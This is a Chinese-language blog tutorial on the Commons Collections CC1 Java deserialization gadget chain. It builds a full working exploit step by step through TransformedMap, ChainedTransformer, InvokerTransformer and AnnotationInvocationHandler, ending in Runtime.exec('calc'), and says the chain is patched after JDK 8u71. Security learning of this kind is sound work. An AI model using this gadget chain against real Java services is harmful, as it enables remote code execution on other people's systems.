Java反序列化：CC1链 详解

2023-10-06 22:01
文章标签 java 详解 序列化 cc1

本文主要是介绍Java反序列化：CC1链 详解，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

CC1

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件，Commons Collections被广泛的各种Java应用的开发，⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤，导致了反序列化⽤漏洞的普遍性和严重性。。

commons-collections组件反序列化漏洞的反射链也称为CC链，自从apache commons-collections组件爆出第一个java反序列化漏洞后，就像打开了java安全的新世界大门一样，之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链，前置知识是java安全基础中的反射。

环境搭建：

  • CommonsCollections <= 3.2.1
  • java < 8u71 Java 存档下载 — Java SE 8 | Oracle 中国

导入Maven依赖

 <dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency>

image-20231004113049111

当然也可以 用传统的 lib包下导入add as a library

因为jdk自带的包里面有些文件是反编译的.class文件，我们没法清楚的看懂代码，为了方便我们调试，我们需要将他们转变为.java的文件，这就需要我们安装相应的源码:

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

点击左下角的zip即可下载，然后解压。

image-20231004115415115

再进入到相应JDK的文件夹中，里面本来就有个src.zip的压缩包，我们解压到当前文件夹下，然后把之前源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹 拷贝到 /jdk8/src文件夹（自己解压同目录下src压缩包）中去。

image-20231004132845280

打开IDEA，选择文件 --->项目结构 --->SDK --->源路径把src文件夹添加到源路径下，保存即可。

image-20231004133132680

CC1链 利用过程分析：

利用链：

先把整段链子给出来，我们再倒推逐个分析。

AnnotationInvocationHandler.readObject()-->
AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
TransformedMap.checkSetValue()-->
ChainedTransformer.transform()-->
InvokerTransformer.transform()

和URLDNS链一样，起点肯定是某个类的readObject()方法，要可序列化必须重写readObject()方法，接受任意对象作为参数。

0x01

CC1链的末尾（入口/源头）就是Commons Collections库中的Tranformer接口，这个接口里面有个transform方法。

image-20231004155422648

查看Tranformer接口中transform方法的实现：

方法一：

image-20231004155508732

image-20231004155753115

方法二： （Ctrl+Alt+F7）

image-20231004155825176

聚焦到包org.apache.commons.collections.functors中的InvokerTransformer类实现了Tranformer接口中transform方法。此方法接收了一个对象，然后反射调用，参数可控就导致了反射调用任意类 任意方法。

image-20231004160416783

我们尝试用InvokerTransformer类中的transform方法弹个计算器（执行命令calc）。

首先看看InvokerTransformer类的有参构造函数怎么用：

image-20231004161356102

实现代码如下：

package com.jiangshiqi.xxx.CC;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.*;public class CC1 {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {//正常 调用可命令执行的方法//Runtime.getRuntime().exec("calc");Runtime cmd = Runtime.getRuntime();//使用反射 调用可命令执行的方法//Class clazz = Runtime.class;//Method cmdMethod = clazz.getMethod("exec", String.class);//cmdMethod.invoke(cmd, "calc");//InvokerTransformer类 调用可命令执行的方法new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);}
}

image-20231004162344960

那么链子的最后一步就实现了。

image-20231004210506764

0x02

知道了InvokerTransformer类可以调用transform()方法执行命令，那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform()方法。

顺带补充一句，自己找的时候，不要找不同类transform()方法调用InvokerTransformer类的transform()方法，这种情况就是transform()方法再去调用transform()方法，没有意义。

我们是想要回到某个类的readObject()方法，如上情况永远回不去。

image-20231004165710616

**开始进一步找链子。**还是老方法，查找用法。要是找不到的话（卡了我挺久）点击右边maven，选择下载源代码。这样找到的就全了。

image-20231004195055865

image-20231004195331926

重点看到这三个Map集合，在这里就产生了2种CC链，一种是国外原版的，也就是ysoserial里的，另一种是流传到国内的另一个版本。Lazymap是国外的，Transformmap是国内的（我们主要讲这个）。两种方法在本质和原理上一样的。顺便提一嘴，自己挖链子的时候，三个map一般也是选择从Transformedmap类下手，因为结果（用法）多，好下手。

image-20231004195406219

那么我们来分析一下TransformedMap类：

在TransformedMap类中调用了checkSetValue()方法，其中就调用了transform。

image-20231004202548482

调用方式是valueTransformer.transform(value);，那我们要做到可控的话就要找TransformedMap类的构造函数了。

构造函数是有参构造函数，类型是protected，所以不能在外部直接调用，那么我们就要找TransformedMap类哪个方法调用了构造函数。

image-20231004203236432

非常好找，TransformedMap类的decorate方法调用了TransformedMap类的构造函数。

image-20231004203440091

还是老方法查找用法。AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法 调用了 TransformedMap类中的checkSetValue()方法

image-20231004204712955

而且我们可以看到AbstractInputCheckedMapDecorator类其实上是Transformedmap的父类。

image-20231004204832300

加上TransformedMap类 和 AbstractInputCheckedMapDecorator类中的MapEntry类 后，我们尝试用代码实现调用计算器。

package com.jiangshiqi.xxx.CC;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {//正常 调用可命令执行的方法//Runtime.getRuntime().exec("calc");Runtime cmd = Runtime.getRuntime();//原先是//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);InvokerTransformer invoker= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});Map<Object,Object> map=new HashMap<>();map.put("明天返校了","又是一年秋风萧瑟");//TransformedMap.decorate方法调用TransformedMap的构造方法。Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invoker);//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。//AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法（作用是遍历map） 调用了 TransformedMap类中的checkSetValue()方法for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(cmd);}//TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)//相当于invoker.transform(value)，value就是上面entry.setValue(cmd)方法的参数cmd。}
}

image-20231004211044825

我们的链子进一步完善。

image-20231004211655729

0x03

继续倒推，是什么方法调用了AbstractInputCheckedMapDecorator.MapEntry类的setValue()方法呢？

AnnotationInvocationHandler类的readObject()方法调用了setValue()方法。直接一步到位了。

调用格式是memberValue.setValue(...)。

image-20231004212754934

AnnotationInvocationHandler类没有被public声明（default类型），仅可在同一个包下可访问也就是在外面无法通过名字来调用，因此只可以用反射获取这个类。

image-20231004213016535

再看看这个类的构造方法。参数是一个Class对象，一个Map对象，其中Class继承了Annotation，也就是需要传入一个注解类进去（Target或者Override）。

注解举个例子就是我们经常会见到的@Override。这里我们选择Target，后面会解释。

image-20231004213034252

反射获取这个类 示例代码：

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Object o = annotationConstructor.newInstance(Target.class, transformedMap);

目前我们的CC1利用EXP已经有了个骨架，但是还是存在些许问题。

package com.jiangshiqi.xxx.CC;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception {//正常 调用可命令执行的方法//Runtime.getRuntime().exec("calc");Runtime cmd = Runtime.getRuntime();InvokerTransformer invoker = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Map<Object, Object> map = new HashMap<>();map.put("明天返校了", "又是一年秋风萧瑟");Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invoker);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Object obj = annotationConstructor.newInstance(Target.class, transformedMap);serialize(obj);  //序列化unserialize("ser1.bin"); //反序列化}//序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));oos.writeObject(object);}//反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}

目前的链子：

image-20231005115957866

问题们如下：

1、AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

image-20231004234839899

2、AnnotationInvocationHandler类的readObject()方法 要是想调用setValue()方法，得绕过两个if判断。

image-20231004235313642

3、EXP中Runtime对象cmd因为Runtime类没有继承Serializable接口，不可以被序列化。

image-20231004234947118

我们先解决问题3：Runtime对象不可以被序列化。

虽然Runtime对象不可以被序列化，但是class可以被序列化。

image-20231004235657507

所以我们从反射下手，用反射实现Runtime。

//使用反射 调用可命令执行的方法
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Method cmdMethod = clazz.getMethod("exec", String.class);
cmdMethod.invoke(cmd, "calc");

image-20231005000455947

利用Invokertransformer和反射可以成功调用Runtime.getRuntime().exec方法 的代码段如下：

//Class clazz = Runtime.class;
//Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);//Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);

这三行实现看起来都差不多，其实是transform方法的循环调用。

解释一下第一行Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

第一个括号内的三个参数是 Invokertransformer类的构造函数的参数。传入的第一个参数String代表你需要调用的方法，第二个参数new Class[]数组代表你方法需要的参数类型，第三个参数new Object[]数组代表方法参数的具体值

第二个括号内的一个参数是 Invokertransformer类的transform方法的参数。这个参数是一个类，构造函数传入的参数作为这个类调用的方法。

image-20231005113813969

但是回顾我们的EXP，我们在实现链子TransformedMap.checkSetValue()->InvokerTransformer.transform()时候我们往TransformedMap实例传入了一个InvokerTransformer实例。

但是现在这个InvokerTransformer实例没有了，被拆成了多个，就是上述三行代码，得想个办法统合起来。image-20231005114108754

聚焦到org.apache.commons.collections.functors包下面的ChainedTransformer类。

这个类存在transform方法可以帮我们遍历InvokerTransformer，并且循环调用遍历的InvokerTransformer的transform方法

image-20231005114820687

实现代码段：

//Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);
//new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);Transformer[] transformerArray=new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
chainedTransformer.transform(Runtime.class);

image-20231005121813523

把上面这段实现代码段写到EXP里面后，还是执行不了命令，因为还有两个问题待解决。

我们再解决问题2：绕过两个if判断。

目前我们的的EXP如下：

package com.jiangshiqi.xxx.CC;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception {Transformer[] transformerArray=new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);Map<Object, Object> map = new HashMap<>();map.put("明天返校了", "又是一年秋风萧瑟");Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Object obj = annotationConstructor.newInstance(Target.class, transformedMap);serialize(obj);  //序列化unserialize("ser1.bin"); //反序列化}//序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));oos.writeObject(object);}//反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}

我们调试一下，会发现到第一个if判断时，条件是memberType != null。目前我们的memberType是空（null）。第一个if就过不去。

image-20231005125916992

仔细审计源码后发现，memberType是获取注解中成员变量的名称，然后并且检查HashMap键值对中键名是否是对应的名称。注解类（Target或者Override）

image-20231005131144915

这里解释为什么前文注解类我们使用Target而不是Override。因为Override没有成员变量，而Target有成员变量名称是value。

image-20231006121744681

image-20231006121655056

因此我们的EXP进行如下修改：

image-20231006121918653

调试，成功进入第一个if。

image-20231006121954432

第二个if判断能不能强转，我们传的肯定强转不了，就一定能过。

最后我们来解决我们的问题1 ：AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

image-20231006122148768

我们的目标是使得setValue()方法的参数是Runtime.class。

聚焦到org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象，如果我们传入Runtime.class，那返回的也即是Runtime.class。我们可以利用ConstantTransformer类解决问题1。

image-20231006124441941

最终EXP如下：

package com.jiangshiqi.xxx.CC;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception {Transformer[] transformerArray=new Transformer[]{new ConstantTransformer(Runtime.class),        //解决问题一：AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);Map<Object, Object> map = new HashMap<>();map.put("value", "又是一年秋风萧瑟");Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Object obj = annotationConstructor.newInstance(Target.class, transformedMap);serialize(obj);unserialize("ser1.bin"); }//序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));oos.writeObject(object);}//反序列化方法public static void unserialize(String filename) throws Exception {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}
}

image-20231006124539127

最终链子：（其实和上一次一样，就是解决了一些问题）

image-20231006130141968

在jdk1.8.0.71中修复了AnnotationInvocationHandler类的readObject方法，因此CC1无效了其他的链出现了。

前文提到CC1链分国外（Lazymap）国内（Transformmap），我们刚刚跟的是国内的，yso的CC1是国外的。国外CC1链如下。

image-20231004113901487

CC1到此就结束啦，作为人生中第一条反序列化链，学的确实艰辛，也留下了一些还不太理解的地方。但是学习毕竟不是一蹴而就的，前路漫漫我们慢慢学。

这篇关于Java反序列化：CC1链 详解的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/154153。

相关文章

Spring事务传播机制最佳实践

Spring事务传播机制最佳实践

《Spring事务传播机制最佳实践》Spring的事务传播机制为我们提供了优雅的解决方案,本文将带您深入理解这一机制,掌握不同场景下的最佳实践,感兴趣的朋友一起看看吧... 目录1. 什么是事务传播行为2. Spring支持的七种事务传播行为2.1 REQUIRED（默认）2.2 SUPPORTS2
阅读更多...
Python函数作用域示例详解

Python函数作用域示例详解

《Python函数作用域示例详解》本文介绍了Python中的LEGB作用域规则,详细解析了变量查找的四个层级,通过具体代码示例,展示了各层级的变量访问规则和特性,对python函数作用域相关知识感兴趣... 目录一、LEGB 规则二、作用域实例2.1 局部作用域（Local）2.2 闭包作用域（Enclos
阅读更多...
怎样通过分析GC日志来定位Java进程的内存问题

怎样通过分析GC日志来定位Java进程的内存问题

《怎样通过分析GC日志来定位Java进程的内存问题》：本文主要介绍怎样通过分析GC日志来定位Java进程的内存问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、GC 日志基础配置1. 启用详细 GC 日志2. 不同收集器的日志格式二、关键指标与分析维度1.
阅读更多...
Java进程异常故障定位及排查过程

Java进程异常故障定位及排查过程

《Java进程异常故障定位及排查过程》：本文主要介绍Java进程异常故障定位及排查过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、故障发现与初步判断1. 监控系统告警2. 日志初步分析二、核心排查工具与步骤1. 进程状态检查2. CPU 飙升问题3. 内存
阅读更多...
Python实现对阿里云OSS对象存储的操作详解

Python实现对阿里云OSS对象存储的操作详解

《Python实现对阿里云OSS对象存储的操作详解》这篇文章主要为大家详细介绍了Python实现对阿里云OSS对象存储的操作相关知识,包括连接,上传,下载,列举等功能,感兴趣的小伙伴可以了解下... 目录一、直接使用代码二、详细使用1. 环境准备2. 初始化配置3. bucket配置创建4. 文件上传到os
阅读更多...
java中新生代和老生代的关系说明

java中新生代和老生代的关系说明

《java中新生代和老生代的关系说明》：本文主要介绍java中新生代和老生代的关系说明,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、内存区域划分新生代老年代二、对象生命周期与晋升流程三、新生代与老年代的协作机制1. 跨代引用处理2. 动态年龄判定3. 空间分
阅读更多...
Java设计模式---迭代器模式(Iterator)解读

Java设计模式---迭代器模式(Iterator)解读

《Java设计模式---迭代器模式(Iterator)解读》：本文主要介绍Java设计模式---迭代器模式(Iterator),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,... 目录1、迭代器（Iterator）1.1、结构1.2、常用方法1.3、本质1、解耦集合与遍历逻辑2、统一
阅读更多...
Java内存分配与JVM参数详解(推荐)

Java内存分配与JVM参数详解(推荐)

《Java内存分配与JVM参数详解(推荐)》本文详解JVM内存结构与参数调整,涵盖堆分代、元空间、GC选择及优化策略,帮助开发者提升性能、避免内存泄漏,本文给大家介绍Java内存分配与JVM参数详解,... 目录引言JVM内存结构JVM参数概述堆内存分配年轻代与老年代调整堆内存大小调整年轻代与老年代比例元空
阅读更多...
深度解析Java DTO(最新推荐)

深度解析Java DTO(最新推荐)

《深度解析JavaDTO(最新推荐)》DTO（DataTransferObject）是一种用于在不同层（如Controller层、Service层）之间传输数据的对象设计模式,其核心目的是封装数据,... 目录一、什么是DTO？DTO的核心特点：二、为什么需要DTO？（对比Entity）三、实际应用场景解析
阅读更多...
Java 线程安全与 volatile与单例模式问题及解决方案

Java 线程安全与 volatile与单例模式问题及解决方案

《Java线程安全与volatile与单例模式问题及解决方案》文章主要讲解线程安全问题的五个成因（调度随机、变量修改、非原子操作、内存可见性、指令重排序）及解决方案,强调使用volatile关键字... 目录什么是线程安全线程安全问题的产生与解决方案线程的调度是随机的多个线程对同一个变量进行修改线程的修改操
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2